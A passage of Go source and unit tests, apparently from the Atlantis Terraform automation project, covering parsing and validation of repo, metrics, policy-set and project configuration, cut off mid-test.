`yaml:"import_requirements" json:"import_requirements"` PreWorkflowHooks []WorkflowHook `yaml:"pre_workflow_hooks" json:"pre_workflow_hooks"` Workflow *string `yaml:"workflow,omitempty" json:"workflow,omitempty"` PostWorkflowHooks []WorkflowHook `yaml:"post_workflow_hooks" json:"post_workflow_hooks"` AllowedWorkflows []string `yaml:"allowed_workflows,omitempty" json:"allowed_workflows,omitempty"` AllowedOverrides []string `yaml:"allowed_overrides" json:"allowed_overrides"` AllowCustomWorkflows *bool `yaml:"allow_custom_workflows,omitempty" json:"allow_custom_workflows,omitempty"` DeleteSourceBranchOnMerge *bool `yaml:"delete_source_branch_on_merge,omitempty" json:"delete_source_branch_on_merge,omitempty"` RepoLocking *bool `yaml:"repo_locking,omitempty" json:"repo_locking,omitempty"` RepoLocks *RepoLocks `yaml:"repo_locks,omitempty" json:"repo_locks,omitempty"` PolicyCheck *bool `yaml:"policy_check,omitempty" json:"policy_check,omitempty"` CustomPolicyCheck *bool `yaml:"custom_policy_check,omitempty" json:"custom_policy_check,omitempty"` AutoDiscover *AutoDiscover `yaml:"autodiscover,omitempty" json:"autodiscover,omitempty"` SilencePRComments []string `yaml:"silence_pr_comments,omitempty" json:"silence_pr_comments,omitempty"` } func (g GlobalCfg) Validate() error { err := validation.ValidateStruct(&g, validation.Field(&g.Repos), validation.Field(&g.Workflows), validation.Field(&g.Metrics), ) if err != nil { return err } // Check that all workflows referenced by repos are actually defined. for _, repo := range g.Repos { if repo.Workflow == nil { continue } name := *repo.Workflow if name == valid.DefaultWorkflowName { // The 'default' workflow will always be defined. continue } found := false for w := range g.Workflows { if w == name { found = true break } } if !found { return fmt.Errorf("workflow %q is not defined", name) } } // Check that all allowed workflows are defined for _, repo := range g.Repos { if repo.AllowedWorkflows == nil { continue } for _, name := range repo.AllowedWorkflows { if name == valid.DefaultWorkflowName { // The 'default' workflow will always be defined. continue } found := false for w := range g.Workflows { if w == name { found = true break } } if !found { return fmt.Errorf("workflow %q is not defined", name) } } } // Validate supported SilencePRComments values. for _, repo := range g.Repos { if repo.SilencePRComments == nil { continue } for _, silenceStage := range repo.SilencePRComments { if !utils.SlicesContains(valid.AllowedSilencePRComments, silenceStage) { return fmt.Errorf( "server-side repo config '%s' key value of '%s' is not supported, supported values are [%s]", valid.SilencePRCommentsKey, silenceStage, strings.Join(valid.AllowedSilencePRComments, ", "), ) } } } return nil } func (g GlobalCfg) ToValid(defaultCfg valid.GlobalCfg) valid.GlobalCfg { workflows := make(map[string]valid.Workflow) // assumes: globalcfg is always initialized with one repo .* globalPlanReqs := defaultCfg.Repos[0].PlanRequirements applyReqs := defaultCfg.Repos[0].ApplyRequirements var globalApplyReqs []string for _, req := range applyReqs { for _, nonOverridableReq := range valid.NonOverridableApplyReqs { if req == nonOverridableReq { globalApplyReqs = append(globalApplyReqs, req) } } } globalImportReqs := defaultCfg.Repos[0].ImportRequirements for k, v := range g.Workflows { validatedWorkflow := v.ToValid(k) workflows[k] = validatedWorkflow if k == valid.DefaultWorkflowName { // Handle the special case where they're redefining the default // workflow. In this case, our default repo config references // the "old" default workflow and so needs to be redefined. defaultCfg.Repos[0].Workflow = &validatedWorkflow } } // Merge in defaults without overriding. for k, v := range defaultCfg.Workflows { if _, ok := workflows[k]; !ok { workflows[k] = v } } var repos []valid.Repo for _, r := range g.Repos { repos = append(repos, r.ToValid(workflows, globalPlanReqs, globalApplyReqs, globalImportReqs)) } repos = append(defaultCfg.Repos, repos...) return valid.GlobalCfg{ Repos: repos, Workflows: workflows, PolicySets: g.PolicySets.ToValid(), Metrics: g.Metrics.ToValid(), TeamAuthz: g.TeamAuthz.ToValid(), } } // HasRegexID returns true if r is configured with a regex id instead of an // exact match id. func (r Repo) HasRegexID() bool { return strings.HasPrefix(r.ID, "/") && strings.HasSuffix(r.ID, "/") } // HasRegexBranch returns true if a branch regex was set. func (r Repo) HasRegexBranch() bool { return strings.HasPrefix(r.Branch, "/") && strings.HasSuffix(r.Branch, "/") } func (r Repo) Validate() error { idValid := func(value any) error { id := value.(string) if !r.HasRegexID() { return nil } _, err := regexp.Compile(id[1 : len(id)-1]) if err != nil { return fmt.Errorf("parsing: %s: %w", id, err) } return nil } branchValid := func(value any) error { branch := value.(string) if branch == "" { return nil } if !strings.HasPrefix(branch, "/") || !strings.HasSuffix(branch, "/") { return errors.New("regex must begin and end with a slash '/'") } withoutSlashes := branch[1 : len(branch)-1] _, err := regexp.Compile(withoutSlashes) if err != nil { return fmt.Errorf("parsing: %s: %w", branch, err) } return nil } repoConfigFileValid := func(value any) error { repoConfigFile := value.(string) if repoConfigFile == "" { return nil } if strings.HasPrefix(repoConfigFile, "/") { return errors.New("must not starts with a slash '/'") } if strings.Contains(repoConfigFile, "../") || strings.Contains(repoConfigFile, "..\\") { return errors.New("must not contains parent directory path like '../'") } return nil } overridesValid := func(value any) error { overrides := value.([]string) for _, o := range overrides { if o != valid.PlanRequirementsKey && o != valid.ApplyRequirementsKey && o != valid.ImportRequirementsKey && o != valid.WorkflowKey && o != valid.DeleteSourceBranchOnMergeKey && o != valid.RepoLockingKey && o != valid.RepoLocksKey && o != valid.PolicyCheckKey && o != valid.CustomPolicyCheckKey && o != valid.SilencePRCommentsKey { return fmt.Errorf("%q is not a valid override, only %q, %q, %q, %q, %q, %q, %q, %q, %q, and %q are supported", o, valid.PlanRequirementsKey, valid.ApplyRequirementsKey, valid.ImportRequirementsKey, valid.WorkflowKey, valid.DeleteSourceBranchOnMergeKey, valid.RepoLockingKey, valid.RepoLocksKey, valid.PolicyCheckKey, valid.CustomPolicyCheckKey, valid.SilencePRCommentsKey) } } return nil } workflowExists := func(value any) error { // We validate workflows in ParserValidator.validateRepoWorkflows // because we need the list of workflows to validate. return nil } deleteSourceBranchOnMergeValid := func(value any) error { //TOBE IMPLEMENTED return nil } autoDiscoverValid := func(value any) error { autoDiscover := value.(*AutoDiscover) if autoDiscover != nil { return autoDiscover.Validate() } return nil } repoLocksValid := func(value any) error { repoLocks := value.(*RepoLocks) if repoLocks != nil { return repoLocks.Validate() } return nil } return validation.ValidateStruct(&r, validation.Field(&r.ID, validation.Required, validation.By(idValid)), validation.Field(&r.Branch, validation.By(branchValid)), validation.Field(&r.RepoConfigFile, validation.By(repoConfigFileValid)), validation.Field(&r.AllowedOverrides, validation.By(overridesValid)), validation.Field(&r.PlanRequirements, validation.By(validPlanReq)), validation.Field(&r.ApplyRequirements, validation.By(validApplyReq)), validation.Field(&r.ImportRequirements, validation.By(validImportReq)), validation.Field(&r.Workflow, validation.By(workflowExists)), validation.Field(&r.DeleteSourceBranchOnMerge, validation.By(deleteSourceBranchOnMergeValid)), validation.Field(&r.AutoDiscover, validation.By(autoDiscoverValid)), validation.Field(&r.RepoLocks, validation.By(repoLocksValid)), ) } func (r Repo) ToValid(workflows map[string]valid.Workflow, globalPlanReqs []string, globalApplyReqs []string, globalImportReqs []string) valid.Repo { var id string var idRegex *regexp.Regexp if r.HasRegexID() { withoutSlashes := r.ID[1 : len(r.ID)-1] // Safe to use MustCompile because we test it in Validate(). idRegex = regexp.MustCompile(withoutSlashes) } else { id = r.ID } var branchRegex *regexp.Regexp if r.HasRegexBranch() { withoutSlashes := r.Branch[1 : len(r.Branch)-1] // Safe to use MustCompile because we test it in Validate(). branchRegex = regexp.MustCompile(withoutSlashes) } var workflow *valid.Workflow if r.Workflow != nil { // This key is guaranteed to exist because we test for it in // ParserValidator.validateRepoWorkflows. ptr := workflows[*r.Workflow] workflow = &ptr } var preWorkflowHooks []*valid.WorkflowHook if len(r.PreWorkflowHooks) > 0 { for _, hook := range r.PreWorkflowHooks { preWorkflowHooks = append(preWorkflowHooks, hook.ToValid()) } } var postWorkflowHooks []*valid.WorkflowHook if len(r.PostWorkflowHooks) > 0 { for _, hook := range r.PostWorkflowHooks { postWorkflowHooks = append(postWorkflowHooks, hook.ToValid()) } } var mergedPlanReqs []string mergedPlanReqs = append(mergedPlanReqs, r.PlanRequirements...) var mergedApplyReqs []string mergedApplyReqs = append(mergedApplyReqs, r.ApplyRequirements...) var mergedImportReqs []string mergedImportReqs = append(mergedImportReqs, r.ImportRequirements...) // only add global reqs if they don't exist already. OuterGlobalPlanReqs: for _, globalReq := range globalPlanReqs { for _, currReq := range r.PlanRequirements { if globalReq == currReq { continue OuterGlobalPlanReqs } } // dont add policy_check step if repo have it explicitly disabled if globalReq == valid.PoliciesPassedCommandReq && r.PolicyCheck != nil && !*r.PolicyCheck { continue } mergedPlanReqs = append(mergedPlanReqs, globalReq) } OuterGlobalApplyReqs: for _, globalReq := range globalApplyReqs { for _, currReq := range r.ApplyRequirements { if globalReq == currReq { continue OuterGlobalApplyReqs } } // dont add policy_check step if repo have it explicitly disabled if globalReq == valid.PoliciesPassedCommandReq && r.PolicyCheck != nil && !*r.PolicyCheck { continue } mergedApplyReqs = append(mergedApplyReqs, globalReq) } OuterGlobalImportReqs: for _, globalReq := range globalImportReqs { for _, currReq := range r.ImportRequirements { if globalReq == currReq { continue OuterGlobalImportReqs } } // dont add policy_check step if repo have it explicitly disabled if globalReq == valid.PoliciesPassedCommandReq && r.PolicyCheck != nil && !*r.PolicyCheck { continue } mergedImportReqs = append(mergedImportReqs, globalReq) } var autoDiscover *valid.AutoDiscover if r.AutoDiscover != nil { autoDiscover = r.AutoDiscover.ToValid() } var repoLocks *valid.RepoLocks if r.RepoLocks != nil { repoLocks = r.RepoLocks.ToValid() } return valid.Repo{ ID: id, IDRegex: idRegex, BranchRegex: branchRegex, RepoConfigFile: r.RepoConfigFile, PlanRequirements: mergedPlanReqs, ApplyRequirements: mergedApplyReqs, ImportRequirements: mergedImportReqs, PreWorkflowHooks: preWorkflowHooks, Workflow: workflow, PostWorkflowHooks: postWorkflowHooks, AllowedWorkflows: r.AllowedWorkflows, AllowedOverrides: r.AllowedOverrides, AllowCustomWorkflows: r.AllowCustomWorkflows, DeleteSourceBranchOnMerge: r.DeleteSourceBranchOnMerge, RepoLocking: r.RepoLocking, RepoLocks: repoLocks, PolicyCheck: r.PolicyCheck, CustomPolicyCheck: r.CustomPolicyCheck, AutoDiscover: autoDiscover, SilencePRComments: r.SilencePRComments, } } ================================================ FILE: server/core/config/raw/metrics.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw import ( validation "github.com/go-ozzo/ozzo-validation" "github.com/go-ozzo/ozzo-validation/is" "github.com/runatlantis/atlantis/server/core/config/valid" ) type Metrics struct { Statsd *Statsd `yaml:"statsd" json:"statsd"` Prometheus *Prometheus `yaml:"prometheus" json:"prometheus"` } type Prometheus struct { Endpoint string `yaml:"endpoint" json:"endpoint"` } func (p *Prometheus) Validate() error { return validation.ValidateStruct(p, validation.Field(&p.Endpoint, validation.Required)) } type Statsd struct { Port string `yaml:"port" json:"port"` Host string `yaml:"host" json:"host"` } func (s *Statsd) Validate() error { return validation.ValidateStruct(s, validation.Field(&s.Host, validation.Required), validation.Field(&s.Port, validation.Required), validation.Field(&s.Host, is.Host), validation.Field(&s.Port, is.Int)) } func (m Metrics) Validate() error { res := validation.ValidateStruct(&m, validation.Field(&m.Statsd, validation.NilOrNotEmpty), validation.Field(&m.Prometheus, validation.NilOrNotEmpty), ) return res } func (m Metrics) ToValid() valid.Metrics { // we've already validated at this point if m.Statsd != nil { return valid.Metrics{ Statsd: &valid.Statsd{ Host: m.Statsd.Host, Port: m.Statsd.Port, }, } } if m.Prometheus != nil { return valid.Metrics{ Prometheus: &valid.Prometheus{ Endpoint: m.Prometheus.Endpoint, }, } } return valid.Metrics{} } ================================================ FILE: server/core/config/raw/metrics_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw_test import ( "encoding/json" "testing" "github.com/runatlantis/atlantis/server/core/config/raw" "github.com/stretchr/testify/assert" ) func TestMetrics_Unmarshal(t *testing.T) { t.Run("yaml", func(t *testing.T) { rawYaml := ` statsd: host: 127.0.0.1 port: 8125 prometheus: endpoint: /metrics ` var result raw.Metrics err := unmarshalString(rawYaml, &result) assert.NoError(t, err) }) t.Run("json", func(t *testing.T) { rawJSON := ` { "statsd": { "host": "127.0.0.1", "port": "8125" }, "prometheus": { "endpoint": "/metrics" } } ` var result raw.Metrics err := json.Unmarshal([]byte(rawJSON), &result) assert.NoError(t, err) }) } func TestMetrics_Validate_Success(t *testing.T) { cases := []struct { description string subject raw.Metrics }{ { description: "success with stats config", subject: raw.Metrics{ Statsd: &raw.Statsd{ Host: "127.0.0.1", Port: "8125", }, }, }, { description: "success with stats config using hostname", subject: raw.Metrics{ Statsd: &raw.Statsd{ Host: "localhost", Port: "8125", }, }, }, { description: "missing stats", }, { description: "success with prometheus config", subject: raw.Metrics{ Prometheus: &raw.Prometheus{ Endpoint: "/metrics", }, }, }, { description: "success with both configs", subject: raw.Metrics{ Statsd: &raw.Statsd{ Host: "127.0.0.1", Port: "8125", }, Prometheus: &raw.Prometheus{ Endpoint: "/metrics", }, }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { assert.NoError(t, c.subject.Validate()) }) } } func TestMetrics_Validate_Error(t *testing.T) { cases := []struct { description string subject raw.Metrics }{ { description: "missing host", subject: raw.Metrics{ Statsd: &raw.Statsd{ Port: "8125", }, }, }, { description: "missing port", subject: raw.Metrics{ Statsd: &raw.Statsd{ Host: "127.0.0.1", }, }, }, { description: "invalid port", subject: raw.Metrics{ Statsd: &raw.Statsd{ Host: "127.0.0.1", Port: "string", }, }, }, { description: "invalid endpoint", subject: raw.Metrics{ Prometheus: &raw.Prometheus{ Endpoint: "", }, }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { assert.Error(t, c.subject.Validate()) }) } } ================================================ FILE: server/core/config/raw/policies.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw import ( validation "github.com/go-ozzo/ozzo-validation" version "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/core/config/valid" ) // PolicySets is the raw schema for repo-level atlantis.yaml config. type PolicySets struct { Version *string `yaml:"conftest_version,omitempty" json:"conftest_version,omitempty"` Owners PolicyOwners `yaml:"owners" json:"owners"` PolicySets []PolicySet `yaml:"policy_sets" json:"policy_sets"` ApproveCount int `yaml:"approve_count,omitempty" json:"approve_count,omitempty"` } func (p PolicySets) Validate() error { return validation.ValidateStruct(&p, validation.Field(&p.Version, validation.By(VersionValidator)), validation.Field(&p.PolicySets, validation.Required.Error("cannot be empty; Declare policies that you would like to enforce")), ) } func (p PolicySets) ToValid() valid.PolicySets { policySets := valid.PolicySets{} if p.Version != nil { policySets.Version, _ = version.NewVersion(*p.Version) } // Default number of required reviews for all policy sets should be 1. // Negative numbers are automatically set to 1. policySets.ApproveCount = p.ApproveCount if policySets.ApproveCount <= 0 { policySets.ApproveCount = 1 } policySets.Owners = p.Owners.ToValid() validPolicySets := make([]valid.PolicySet, 0) for _, rawPolicySet := range p.PolicySets { // Default to top-level review count if not specified. // Negative numbers are automatically set to the default. if rawPolicySet.ApproveCount <= 0 { rawPolicySet.ApproveCount = policySets.ApproveCount } validPolicySets = append(validPolicySets, rawPolicySet.ToValid()) } policySets.PolicySets = validPolicySets return policySets } type PolicyOwners struct { Users []string `yaml:"users,omitempty" json:"users,omitempty"` Teams []string `yaml:"teams,omitempty" json:"teams,omitempty"` } func (o PolicyOwners) ToValid() valid.PolicyOwners { var policyOwners valid.PolicyOwners if len(o.Users) > 0 { policyOwners.Users = o.Users } if len(o.Teams) > 0 { policyOwners.Teams = o.Teams } return policyOwners } type PolicySet struct { Path string `yaml:"path" json:"path"` Source string `yaml:"source" json:"source"` Name string `yaml:"name" json:"name"` Owners PolicyOwners `yaml:"owners" json:"owners"` ApproveCount int `yaml:"approve_count,omitempty" json:"approve_count,omitempty"` PreventSelfApprove bool `yaml:"prevent_self_approve,omitempty" json:"prevent_self_approve,omitempty"` } func (p PolicySet) Validate() error { return validation.ValidateStruct(&p, validation.Field(&p.Name, validation.Required.Error("is required")), validation.Field(&p.Owners), validation.Field(&p.ApproveCount), validation.Field(&p.Path, validation.Required.Error("is required")), validation.Field(&p.Source, validation.In(valid.LocalPolicySet, valid.GithubPolicySet).Error("only 'local' and 'github' source types are supported")), ) } func (p PolicySet) ToValid() valid.PolicySet { var policySet valid.PolicySet policySet.Name = p.Name policySet.Path = p.Path policySet.Source = p.Source policySet.ApproveCount = p.ApproveCount policySet.PreventSelfApprove = p.PreventSelfApprove policySet.Owners = p.Owners.ToValid() return policySet } ================================================ FILE: server/core/config/raw/policies_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw_test import ( "testing" "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/core/config/raw" "github.com/runatlantis/atlantis/server/core/config/valid" . "github.com/runatlantis/atlantis/testing" yaml "gopkg.in/yaml.v3" ) func TestPolicySetsConfig_YAMLMarshalling(t *testing.T) { cases := []struct { description string input string exp raw.PolicySets expErr string }{ { description: "valid yaml", input: ` conftest_version: v1.0.0 policy_sets: - name: policy-name source: "local" path: "rel/path/to/policy-set" `, exp: raw.PolicySets{ Version: String("v1.0.0"), PolicySets: []raw.PolicySet{ { Name: "policy-name", Source: valid.LocalPolicySet, Path: "rel/path/to/policy-set", }, }, }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { var got raw.PolicySets err := unmarshalString(c.input, &got) if c.expErr != "" { ErrEquals(t, c.expErr, err) return } Ok(t, err) Equals(t, c.exp, got) _, err = yaml.Marshal(got) Ok(t, err) var got2 raw.PolicySets err = unmarshalString(c.input, &got2) Ok(t, err) Equals(t, got2, got) }) } } func TestPolicySets_Validate(t *testing.T) { cases := []struct { description string input raw.PolicySets expErr string }{ // Valid inputs. { description: "policies", input: raw.PolicySets{ Version: String("v1.0.0"), PolicySets: []raw.PolicySet{ { Name: "policy-name-1", Path: "rel/path/to/source", Source: valid.LocalPolicySet, }, { Name: "policy-name-2", Owners: raw.PolicyOwners{ Users: []string{ "john-doe", "jane-doe", }, }, Path: "rel/path/to/source", Source: valid.GithubPolicySet, }, }, }, expErr: "", }, // Invalid inputs. { description: "empty elem", input: raw.PolicySets{}, expErr: "policy_sets: cannot be empty; Declare policies that you would like to enforce.", }, { description: "missing policy name and source path", input: raw.PolicySets{ PolicySets: []raw.PolicySet{ {}, }, }, expErr: "policy_sets: (0: (name: is required; path: is required.).).", }, { description: "invalid source type", input: raw.PolicySets{ PolicySets: []raw.PolicySet{ { Name: "good-policy", Source: "invalid-source-type", Path: "rel/path/to/source", }, }, }, expErr: "policy_sets: (0: (source: only 'local' and 'github' source types are supported.).).", }, { description: "empty string version", input: raw.PolicySets{ Version: String(""), PolicySets: []raw.PolicySet{ { Name: "policy-name-1", Path: "rel/path/to/source", Source: valid.LocalPolicySet, }, }, }, expErr: "conftest_version: version \"\" could not be parsed: Malformed version: .", }, { description: "invalid version", input: raw.PolicySets{ Version: String("version123"), PolicySets: []raw.PolicySet{ { Name: "policy-name-1", Path: "rel/path/to/source", Source: valid.LocalPolicySet, }, }, }, expErr: "conftest_version: version \"version123\" could not be parsed: Malformed version: version123.", }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { err := c.input.Validate() if c.expErr == "" { Ok(t, err) return } ErrEquals(t, c.expErr, err) }) } } func TestPolicySets_ToValid(t *testing.T) { version, _ := version.NewVersion("v1.0.0") cases := []struct { description string input raw.PolicySets exp valid.PolicySets }{ { description: "valid policies with owners", input: raw.PolicySets{ Version: String("v1.0.0"), Owners: raw.PolicyOwners{ Users: []string{ "test", }, Teams: []string{ "testteam", }, }, PolicySets: []raw.PolicySet{ { Name: "good-policy", Owners: raw.PolicyOwners{ Users: []string{ "john-doe", "jane-doe", }, }, Path: "rel/path/to/source", Source: valid.LocalPolicySet, }, }, }, exp: valid.PolicySets{ Version: version, ApproveCount: 1, Owners: valid.PolicyOwners{ Users: []string{"test"}, Teams: []string{"testteam"}, }, PolicySets: []valid.PolicySet{ { Name: "good-policy", ApproveCount: 1, Owners: valid.PolicyOwners{ Users: []string{ "john-doe", "jane-doe", }, }, Path: "rel/path/to/source", Source: "local", }, }, }, }, { description: "valid policies without owners", input: raw.PolicySets{ Version: String("v1.0.0"), PolicySets: []raw.PolicySet{ { Name: "good-policy", Owners: raw.PolicyOwners{ Users: []string{ "john-doe", "jane-doe", }, }, Path: "rel/path/to/source", Source: valid.LocalPolicySet, }, }, }, exp: valid.PolicySets{ Version: version, ApproveCount: 1, PolicySets: []valid.PolicySet{ { Name: "good-policy", Owners: valid.PolicyOwners{ Users: []string{ "john-doe", "jane-doe", }, }, Path: "rel/path/to/source", Source: "local", ApproveCount: 1, }, }, }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { Equals(t, c.exp, c.input.ToValid()) }) } } ================================================ FILE: server/core/config/raw/project.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw import ( "errors" "fmt" "net/url" "path/filepath" "regexp" "strings" "github.com/bmatcuk/doublestar/v4" validation "github.com/go-ozzo/ozzo-validation" version "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/core/config/valid" ) const ( DefaultWorkspace = "default" ApprovedRequirement = "approved" MergeableRequirement = "mergeable" UnDivergedRequirement = "undiverged" ) type Project struct { Name *string `yaml:"name,omitempty"` Branch *string `yaml:"branch,omitempty"` Dir *string `yaml:"dir,omitempty"` Workspace *string `yaml:"workspace,omitempty"` Workflow *string `yaml:"workflow,omitempty"` TerraformDistribution *string `yaml:"terraform_distribution,omitempty"` TerraformVersion *string `yaml:"terraform_version,omitempty"` Autoplan *Autoplan `yaml:"autoplan,omitempty"` PlanRequirements []string `yaml:"plan_requirements,omitempty"` ApplyRequirements []string `yaml:"apply_requirements,omitempty"` ImportRequirements []string `yaml:"import_requirements,omitempty"` DependsOn []string `yaml:"depends_on,omitempty"` DeleteSourceBranchOnMerge *bool `yaml:"delete_source_branch_on_merge,omitempty"` RepoLocking *bool `yaml:"repo_locking,omitempty"` RepoLocks *RepoLocks `yaml:"repo_locks,omitempty"` ExecutionOrderGroup *int `yaml:"execution_order_group,omitempty"` PolicyCheck *bool `yaml:"policy_check,omitempty"` CustomPolicyCheck *bool `yaml:"custom_policy_check,omitempty"` SilencePRComments []string `yaml:"silence_pr_comments,omitempty"` } func (p Project) Validate() error { validDir := func(value any) error { dir := *value.(*string) if strings.Contains(dir, "..") { return errors.New("cannot contain '..'") } // If the dir contains glob pattern characters, validate the pattern if ContainsGlobPattern(dir) { if err := ValidateGlobPattern(dir); err != nil { return err } } return nil } validName := func(value any) error { strPtr := value.(*string) if strPtr == nil { return nil } if *strPtr == "" { return errors.New("if set cannot be empty") } if !validProjectName(*strPtr) { return fmt.Errorf("%q is not allowed: must contain only URL safe characters", *strPtr) } return nil } branchValid := func(value any) error { strPtr := value.(*string) if strPtr == nil { return nil } branch := *strPtr if !strings.HasPrefix(branch, "/") || !strings.HasSuffix(branch, "/") { return errors.New("regex must begin and end with a slash '/'") } withoutSlashes := branch[1 : len(branch)-1] _, err := regexp.Compile(withoutSlashes) if err != nil { return fmt.Errorf("parsing: %s: %w", branch, err) } return nil } DependsOn := func(value any) error { return nil } // Validate that name doesn't contain glob patterns - glob expansion only works for 'dir' if p.Name != nil && ContainsGlobPattern(*p.Name) { return errors.New("name: cannot contain glob pattern characters ('*', '?', '['); glob expansion is only supported in the 'dir' field") } // Cross-field validation: name cannot be used with glob patterns in dir // because glob patterns expand to multiple projects which can't share the same name if p.Name != nil && p.Dir != nil && ContainsGlobPattern(*p.Dir) { return errors.New("name: cannot be used with glob patterns in 'dir'; glob patterns expand to multiple projects which cannot share the same name") } return validation.ValidateStruct(&p, validation.Field(&p.Dir, validation.Required, validation.By(validDir)), validation.Field(&p.PlanRequirements, validation.By(validPlanReq)), validation.Field(&p.ApplyRequirements, validation.By(validApplyReq)), validation.Field(&p.ImportRequirements, validation.By(validImportReq)), validation.Field(&p.TerraformDistribution, validation.By(validDistribution)), validation.Field(&p.TerraformVersion, validation.By(VersionValidator)), validation.Field(&p.DependsOn, validation.By(DependsOn)), validation.Field(&p.Name, validation.By(validName)), validation.Field(&p.Branch, validation.By(branchValid)), ) } func (p Project) ToValid() valid.Project { var v valid.Project // Prepend ./ and then run .Clean() so we're guaranteed to have a relative // directory. This is necessary because we use this dir without sanitation // in DefaultProjectFinder. cleanedDir := filepath.Clean("./" + *p.Dir) v.Dir = cleanedDir if p.Branch != nil { branch := *p.Branch withoutSlashes := branch[1 : len(branch)-1] // Safe to use MustCompile because we test it in Validate(). v.BranchRegex = regexp.MustCompile(withoutSlashes) } if p.Workspace == nil || *p.Workspace == "" { v.Workspace = DefaultWorkspace } else { v.Workspace = *p.Workspace } v.WorkflowName = p.Workflow if p.TerraformVersion != nil { v.TerraformVersion, _ = version.NewVersion(*p.TerraformVersion) } if p.TerraformDistribution != nil { v.TerraformDistribution = p.TerraformDistribution } if p.Autoplan == nil { v.Autoplan = DefaultAutoPlan() } else { v.Autoplan = p.Autoplan.ToValid() } // There are no default apply/import requirements. v.PlanRequirements = p.PlanRequirements v.ApplyRequirements = p.ApplyRequirements v.ImportRequirements = p.ImportRequirements v.Name = p.Name v.DependsOn = p.DependsOn if p.DeleteSourceBranchOnMerge != nil { v.DeleteSourceBranchOnMerge = p.DeleteSourceBranchOnMerge } if p.RepoLocking != nil { v.RepoLocking = p.RepoLocking } if p.RepoLocks != nil { v.RepoLocks = p.RepoLocks.ToValid() } if p.ExecutionOrderGroup != nil { v.ExecutionOrderGroup = *p.ExecutionOrderGroup } if p.PolicyCheck != nil { v.PolicyCheck = p.PolicyCheck } if p.CustomPolicyCheck != nil { v.CustomPolicyCheck = p.CustomPolicyCheck } if p.SilencePRComments != nil { v.SilencePRComments = p.SilencePRComments } return v } // validProjectName returns true if the project name is valid. // Since the name might be used in URLs and definitely in files we don't // support any characters that must be url escaped *except* for '/' because // users like to name their projects to match the directory it's in. func validProjectName(name string) bool { nameWithoutSlashes := strings.ReplaceAll(name, "/", "-") return nameWithoutSlashes == url.QueryEscape(nameWithoutSlashes) } func validPlanReq(value any) error { reqs := value.([]string) for _, r := range reqs { if r != ApprovedRequirement && r != MergeableRequirement && r != UnDivergedRequirement { return fmt.Errorf("%q is not a valid plan_requirement, only %q, %q and %q are supported", r, ApprovedRequirement, MergeableRequirement, UnDivergedRequirement) } } return nil } func validApplyReq(value any) error { reqs := value.([]string) for _, r := range reqs { if r != ApprovedRequirement && r != MergeableRequirement && r != UnDivergedRequirement { return fmt.Errorf("%q is not a valid apply_requirement, only %q, %q and %q are supported", r, ApprovedRequirement, MergeableRequirement, UnDivergedRequirement) } } return nil } func validImportReq(value any) error { reqs := value.([]string) for _, r := range reqs { if r != ApprovedRequirement && r != MergeableRequirement && r != UnDivergedRequirement { return fmt.Errorf("%q is not a valid import_requirement, only %q, %q and %q are supported", r, ApprovedRequirement, MergeableRequirement, UnDivergedRequirement) } } return nil } func validDistribution(value any) error { distribution := value.(*string) if distribution != nil && *distribution != "terraform" && *distribution != "opentofu" { return fmt.Errorf("'%s' is not a valid terraform_distribution, only '%s' and '%s' are supported", *distribution, "terraform", "opentofu") } return nil } // ContainsGlobPattern returns true if the string contains glob pattern characters. // This is used to detect if a dir field should be treated as a glob pattern // for expansion into multiple projects. func ContainsGlobPattern(s string) bool { return strings.ContainsAny(s, "*?[") } // ValidateGlobPattern validates that a glob pattern is syntactically correct // using the doublestar library. func ValidateGlobPattern(pattern string) error { if !doublestar.ValidatePattern(pattern) { return fmt.Errorf("invalid glob pattern %q", pattern) } return nil } ================================================ FILE: server/core/config/raw/project_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw_test import ( "testing" validation "github.com/go-ozzo/ozzo-validation" version "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/core/config/raw" "github.com/runatlantis/atlantis/server/core/config/valid" . "github.com/runatlantis/atlantis/testing" ) func TestProject_UnmarshalYAML(t *testing.T) { cases := []struct { description string input string exp raw.Project }{ { description: "omit unset fields", input: "", exp: raw.Project{ Dir: nil, Workspace: nil, Workflow: nil, TerraformVersion: nil, Autoplan: nil, PlanRequirements: nil, ApplyRequirements: nil, ImportRequirements: nil, Name: nil, Branch: nil, }, }, { description: "all fields set including mergeable apply requirement", input: ` name: myname branch: mybranch dir: mydir workspace: workspace workflow: workflow terraform_version: v0.11.0 autoplan: when_modified: [] enabled: false plan_requirements: - mergeable apply_requirements: - mergeable import_requirements: - mergeable execution_order_group: 10`, exp: raw.Project{ Name: String("myname"), Branch: String("mybranch"), Dir: String("mydir"), Workspace: String("workspace"), Workflow: String("workflow"), TerraformVersion: String("v0.11.0"), Autoplan: &raw.Autoplan{ WhenModified: []string{}, Enabled: Bool(false), }, PlanRequirements: []string{"mergeable"}, ApplyRequirements: []string{"mergeable"}, ImportRequirements: []string{"mergeable"}, ExecutionOrderGroup: Int(10), }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { var p raw.Project err := unmarshalString(c.input, &p) Ok(t, err) Equals(t, c.exp, p) }) } } func TestProject_Validate(t *testing.T) { cases := []struct { description string input raw.Project expErr string }{ { description: "minimal fields", input: raw.Project{ Dir: String("."), }, expErr: "", }, { description: "dir empty", input: raw.Project{ Dir: nil, }, expErr: "dir: cannot be blank.", }, { description: "dir with ..", input: raw.Project{ Dir: String("../mydir"), }, expErr: "dir: cannot contain '..'.", }, { description: "not a regexp for branch", input: raw.Project{ Branch: String("text"), Dir: String("."), }, expErr: "branch: regex must begin and end with a slash '/'.", }, { description: "invalid regexp for branch", input: raw.Project{ Branch: String("/(text/"), Dir: String("."), }, expErr: "branch: parsing: 